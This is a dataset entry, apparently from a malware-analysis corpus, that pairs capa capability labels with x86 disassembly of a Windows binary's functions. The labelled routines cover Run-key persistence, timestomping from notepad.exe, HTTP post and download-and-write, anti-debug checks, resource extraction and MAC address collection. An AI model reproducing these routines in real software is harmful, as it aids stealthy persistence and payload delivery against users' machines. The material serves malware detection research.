joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401840
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call fcn.00420d8a
push eax
call fcn.00420c56
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 8
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call edi
mov eax, dword [ebp - 4]
test eax, eax
je 0x4018a4
mov ecx, dword [esi*4 + 0x443b88]
push 0
push 0
push 0
push 0
push ecx
push eax
call ebx
test eax, eax
je 0x4018c9
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 8
jl 0x401865
call fcn.00420c68
and eax, 0x80000007
jns 0x4018bb
dec eax
or eax, 0xfffffff8
inc eax
mov eax, dword [eax*4 + 0x443b88]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi*4 + 0x443b88]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402050
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x43c448
push eax
xor bl, bl
call fcn.004217a9
mov esi, eax
add esp, 8
test esi, esi
je 0x4020cf
mov ecx, dword [ebp + 8]
push edi
push 0x43c44c
push ecx
call fcn.004217a9
mov edi, eax
add esp, 8
test edi, edi
je 0x4020c5
push esi
call fcn.00420ed7
add esp, 4
test eax, eax
jne 0x4020ba
push esi
push 1
lea edx, [ebp - 1]
push 1
push edx
call fcn.00421b00
push edi
push 1
lea eax, [ebp - 1]
push 1
push eax
call fcn.00421ce9
push esi
call fcn.00420ed7
add esp, 0x24
test eax, eax
je 0x402091
push edi
mov bl, 1
call fcn.004220cf
add esp, 4
push esi
call fcn.004220cf
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4020e0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push str.SYSTEMROOT
mov dword [ebp - 0x98], eax
call fcn.00420d10
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402110
sub eax, edx
add eax, 0x20
push eax
call fcn.0041f974
push str.SYSTEMROOT
mov edi, eax
call fcn.00420d10
push eax
push str._s_notepad.exe
push edi
call fcn.00420bc7
mov ebx, dword [sym.imp.KERNEL32.dll_OpenFile]
add esp, 0x14
push 0
lea ecx, [ebp - 0x94]
push ecx
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4021a1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x98]
push 2
lea eax, [ebp - 0x94]
push eax
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4021a1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00420c4b
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004204c6
mov esp, ebp
pop ebp
ret
Function at 0x402cf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436b68
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov edi, ecx
cmp ebx, 0xffffffff
jne 0x402d2c
xor eax, eax
jmp 0x402eb1
mov eax, dword [edi + 0x24]
mov ecx, dword [eax]
test ecx, ecx
je 0x402d55
mov eax, dword [edi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x402d55
dec dword [eax]
mov edi, dword [edi + 0x24]
mov eax, dword [edi]
lea ecx, [eax + 1]
mov dword [edi], ecx
mov byte [eax], bl
mov eax, ebx
jmp 0x402eb1
cmp dword [edi + 0x54], 0
je 0x402eae
mov ecx, dword [edi + 0x10]
lea edx, [edi + 0x48]
cmp dword [ecx], edx
jne 0x402d7d
mov edx, dword [edi + 0x3c]
mov eax, dword [edi + 0x40]
mov dword [ecx], edx
mov ecx, dword [edi + 0x20]
mov dword [ecx], eax
mov edx, dword [edi + 0x30]
sub eax, eax
mov dword [edx], eax
cmp dword [edi + 0x44], 0
jne 0x402da3
mov edi, dword [edi + 0x54]
movsx eax, bl
push edi
push eax
call fcn.00420ddb
add esp, 8
cmp eax, 0xffffffff
je 0x402eae
mov eax, ebx
jmp 0x402eb1
lea esi, [ebp - 0x2c]
mov byte [ebp - 0x2d], bl
call fcn.00403660
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
jmp 0x402dc0
mov edx, eax
cmp ebx, 0x10
jae 0x402dcc
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x34]
push ebx
push edx
push eax
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x2c]
push eax
lea edx, [ebp - 0x2d]
push edx
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x14]
call eax
test eax, eax
js 0x402ea6
cmp eax, 1
jg 0x402e60
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x402e0c
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x34]
sub esi, ecx
je 0x402e35
cmp ebx, 0x10
jae 0x402e1b
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00421ce9
add esp, 0x10
cmp esi, eax
jne 0x402ea6
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x2d]
mov byte [edi + 0x49], 1
cmp dword [ebp - 0x38], edx
jne 0x402e99
test esi, esi
jne 0x402dc0
cmp dword [ebp - 0x1c], 0x20
jae 0x402ea6
push esi
lea ebx, [esi + 8]
lea esi, [ebp - 0x2c]
call fcn.004036c0
jmp 0x402db5
cmp eax, 3
jne 0x402ea6
mov edi, dword [edi + 0x54]
movsx eax, byte [ebp - 0x2d]
push edi
push eax
call fcn.00420ddb
add esp, 8
cmp eax, 0xffffffff
je 0x402e8a
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
call fcn.00402420
mov eax, esi
jmp 0x402eb1
lea ecx, [ebp - 0x2c]
or esi, 0xffffffff
call fcn.00402420
mov eax, esi
jmp 0x402eb1
lea ecx, [ebp - 0x2c]
call fcn.00402420
mov eax, dword [ebp + 8]
jmp 0x402eb1
lea ecx, [ebp - 0x2c]
call fcn.00402420
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004204c6
mov esp, ebp
pop ebp
ret 4
Function at 0x403b20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436c18
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x403cb1
cmp byte [ebx + 0x49], 0
je 0x403cb1
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x403ca5
lea esi, [ebp - 0x2c]
call fcn.00403660
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403b93
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x403bcc
dec eax
je 0x403bd0
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x403cac
call fcn.00402420
xor al, al
jmp 0x403cb3
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403be0
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x403c0d
cmp edi, 0x10
jae 0x403bef
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00421ce9
add esp, 0x10
cmp esi, eax
jne 0x403c9d
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x403ca9
test esi, esi
jne 0x403b87
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x403cce
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x403cce
cmp edi, esi
jae 0x403c86
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00404030
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x403b87
mov ecx, eax
cmp edi, 0x10
jae 0x403c62
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x403c7d
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x403b81
test esi, esi
jne 0x403c58
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x403c95
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x403b81
lea ecx, [ebp - 0x2c]
call fcn.00402420
xor al, al
jmp 0x403cb3
lea ecx, [ebp - 0x2c]
call fcn.00402420
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004204c6
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0041f8b9
int3
Function at 0x403f00
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436adb
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x440480]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00420095
push 4
mov dword [ebp - 4], 0
call fcn.00420b47
mov edi, eax
add esp, 4
test edi, edi
je 0x403f7c
call fcn.0041ff6d
mov dword [edi], eax
call fcn.0041fd2c
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00420056
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x403f72
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0042007e
jmp 0x403f7e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4045d0
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436bdb
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
lea eax, [ebp - 0x424]
push eax
mov edi, ecx
mov ebx, edx
mov dword [ebp - 0x424], esi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4047c3
cmp byte [0x443b40], 0
mov dword [ebp - 0x414], esi
jne 0x40463b
call fcn.00401040
mov byte [0x443b40], 1
mov ecx, dword [0x443b78]
mov eax, dword [ecx + 0x8c]
push esi
push esi
push esi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x428], esi
test esi, esi
je 0x4047bd
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x4047b6
push 1
push 0x400000
push 0
push 0
push 0
push ebx
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x4047af
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4047a8
push 1
call fcn.00422173
mov esi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x41c], eax
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x404786
mov edi, dword [ebp - 0x414]
test edi, edi
je 0x404742
lea ecx, [ebp - 0x410]
push ecx
lea esi, [ebp - 0x420]
mov byte [ebp + edi - 0x410], 0
call fcn.004053a0
lea edx, [ebp - 0x414]
push edx
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x404700
mov eax, dword [ebp - 0x41c]
test eax, eax
jle 0x40477a
inc eax
push eax
call fcn.0041f974
mov esi, dword [ebp - 0x420]
mov edx, eax
add esp, 4
mov dword [ebp - 0x414], edx
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404768
mov edi, dword [ebp - 0x418]
jmp 0x404799
mov esi, dword [ebp - 0x420]
mov edi, dword [ebp - 0x418]
push 8
call fcn.0041f974
add esp, 4
mov dword [ebp - 0x414], eax
mov byte [eax], 0
push esi
call fcn.00420f27
mov esi, dword [ebp - 0x428]
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004204c6
mov esp, ebp
pop ebp
ret
Function at 0x4047e0
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
lea ecx, [ebp - 0x414]
push ecx
mov dword [ebp - 0x408], eax
mov ebx, edx
mov dword [ebp - 0x414], edi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x40482e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004204c6
mov esp, ebp
pop ebp
ret
push ebx
mov dword [ebp - 0x40c], edi
call fcn.00422143
add esp, 4
cmp byte [0x443b40], 0
jne 0x404852
call fcn.00401040
mov byte [0x443b40], 1
mov edx, dword [0x443b78]
mov eax, dword [edx + 0x8c]
push edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x40496b
push 1
push 0
push 3
push 0
push 0
push 0x50
push esi
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x410], esi
test esi, esi
je 0x404964
mov eax, dword [ebp - 0x408]
push 1
push 0x400000
push 0
push 0
push 0
push eax
push 0x43c5b4
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
je 0x404957
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x404950
push 0x43c44c
push ebx
mov dword [ebp - 0x40c], 1
call fcn.004217a9
mov esi, eax
add esp, 8
test esi, esi
je 0x40494a
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, edi
lea ecx, [ebp - 0x408]
push ecx
push 0x3ff
lea edx, [ebp - 0x404]
push edx
push edi
call ebx
test eax, eax
je 0x404941
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x404941
push esi
push eax
mov byte [ebp + eax - 0x404], 0
lea eax, [ebp - 0x404]
push 1
push eax
call fcn.00421ce9
add esp, 0x10
jmp 0x404900
push esi
call fcn.004220cf
add esp, 4
mov esi, dword [ebp - 0x410]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x418]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x40c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004204c6
mov esp, ebp
pop ebp
ret
Function at 0x404be0
Capabilities:
Check if file exists
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, edx
push esi
mov edi, ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x404c0b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
lea ebx, [esp + 0x10]
mov dword [esp + 0x10], 0
call fcn.00402280
mov esi, eax
add esp, 4
test esi, esi
je 0x404c02
push 0
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x404c53
push esi
xor edi, edi
call fcn.00420c4b
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x18]
push eax
push esi
mov ecx, edi
call fcn.00404990
add esp, 0xc
push esi
mov edi, eax
call fcn.00420c4b
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404e70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0x22
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x404e90
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push 3
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x404ebf
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x404ebf
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x404ece
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [ebx + 4]
push edi
push esi
call fcn.0041f974
add esp, 4
mov edi, eax
test esi, esi
je 0x404ef4
mov ecx, dword [ebp - 4]
sub ecx, edi
mov edx, esi
mov bl, byte [ecx + eax]
mov byte [eax], bl
inc eax
dec edx
jne 0x404ee8
mov ebx, dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp + 8]
mov eax, edi
pop edi
pop ebx
mov dword [edx], esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, eax
mov eax, dword [ebp + 8]
push edi
push eax
mov eax, esi
call fcn.00405000
mov ebx, eax
add esp, 4
test ebx, ebx
jle 0x4050ff
mov ecx, dword [ebp + 0xc]
push 0x43c448
push ecx
call fcn.004217a9
mov edi, eax
add esp, 8
test edi, edi
je 0x4050dd
push 2
push 0
push edi
call fcn.00421fe6
add esp, 0xc
push edi
call fcn.00421ef7
add esp, 4
push edi
mov dword [ebp - 0x10], eax
call fcn.004220cf
mov eax, dword [ebp - 0x10]
add esp, 4
jmp 0x4050df
xor eax, eax
cmp ebx, eax
je 0x40522c
mov ecx, dword [ebp + 8]
push 0
push esi
mov eax, esi
call fcn.00405240
add esp, 8
test al, al
je 0x40522c
mov edx, dword [ebp + 0xc]
push edx
lea ebx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.00402280
add esp, 4
push esi
lea ebx, [ebp - 0xc]
mov edi, eax
mov dword [ebp - 0xc], 0
call fcn.00402280
mov ebx, eax
lea eax, [ebp - 8]
add esp, 4
push eax
mov eax, esi
mov dword [ebp - 8], 0
call fcn.00404e70
mov ecx, dword [ebp + 0x10]
add esp, 4
push 0x43c44c
push ecx
mov dword [ebp - 0x10], eax
call fcn.004217a9
mov esi, eax
add esp, 8
test esi, esi
je 0x405202
test edi, edi
je 0x405179
mov edx, dword [ebp - 4]
push esi
push edx
push 1
push edi
call fcn.00421ce9
push edi
call fcn.00420c4b
add esp, 0x14
push esi
call fcn.004220cf
mov esi, dword [ebp - 0x10]
add esp, 4
test esi, esi
je 0x40519f
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp + 0x10]
push esi
call fcn.00404f20
push esi
call fcn.00420c4b
add esp, 0xc
mov ecx, dword [ebp + 0x10]
push 0x43c694
push ecx
call fcn.004217a9
mov esi, eax
add esp, 8
test esi, esi
je 0x4051f9
mov edi, dword [ebp + 8]
mov eax, edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4051c0
push esi
sub eax, edx
push eax
push 1
push edi
call fcn.00421ce9
add esp, 0x10
test ebx, ebx
je 0x4051f0
mov edx, dword [ebp - 0xc]
push esi
push edx
push 1
push ebx
call fcn.00421ce9
push ebx
call fcn.00420c4b
add esp, 0x14
push esi
call fcn.004220cf
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x40520f
push edi
call fcn.00420c4b
add esp, 4
test ebx, ebx
je 0x40521c
push ebx
call fcn.00420c4b
add esp, 4
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40522c
push eax
call fcn.00420c4b
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405240
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push eax
lea ebx, [ebp - 4]
mov esi, ecx
mov dword [ebp - 4], 0
call fcn.00402280
mov ecx, dword [ebp - 4]
add esp, 4
mov edi, eax
push 1
push edi
mov ebx, esi
call fcn.004054c0
mov ebx, eax
add esp, 8
test ebx, ebx
jns 0x405292
mov eax, esi
lea edx, [eax + 1]
jmp 0x405280
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405280
mov ecx, dword [ebp - 4]
sub eax, edx
sub ecx, eax
cmp ebx, ecx
jge 0x405304
mov edx, dword [ebp + 8]
push 0x43c44c
push edx
call fcn.004217a9
mov edx, eax
add esp, 8
mov dword [ebp - 8], edx
test edx, edx
je 0x405304
cmp byte [ebp + 0xc], 0
jne 0x4052c8
mov eax, esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4052b7
sub eax, esi
lea esi, [eax + ebx]
mov ebx, dword [ebp - 4]
jmp 0x4052ca
xor esi, esi
cmp esi, ebx
jge 0x4052e9
mov edi, edi
push edx
push 1
lea eax, [esi + edi]
push 1
push eax
call fcn.00421ce9
mov edx, dword [ebp - 8]
inc esi
add esp, 0x10
cmp esi, ebx
jl 0x4052d0
push edx
call fcn.004220cf
add esp, 4
push edi
call fcn.00420c4b
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call fcn.00420c4b
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405690
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x288
mov dword [ebp - 4], 4
call fcn.00422173
mov esi, eax
add esp, 4
test esi, esi
jne 0x4056b4
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea eax, [ebp - 4]
push eax
push esi
call edi
cmp eax, 0x6f
jne 0x4056d9
mov ecx, dword [ebp - 4]
push ecx
call fcn.00422173
mov esi, eax
add esp, 4
test esi, esi
je 0x40574a
lea edx, [ebp - 4]
push edx
push esi
call edi
test eax, eax
jne 0x40573d
test esi, esi
je 0x40574a
push 0x10
call fcn.0041f974
movzx ecx, byte [esi + 0x198]
movzx edx, byte [esi + 0x197]
mov edi, eax
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x196]
push ecx
movzx ecx, byte [esi + 0x195]
push edx
movzx edx, byte [esi + 0x194]
push eax
push ecx
push edx
push str._02X_02X_02X_02X_02X_02X
push edi
call fcn.00420bc7
push esi
call fcn.00420f27
add esp, 0x28
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x40574a
push esi
call fcn.00420f27
add esp, 4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret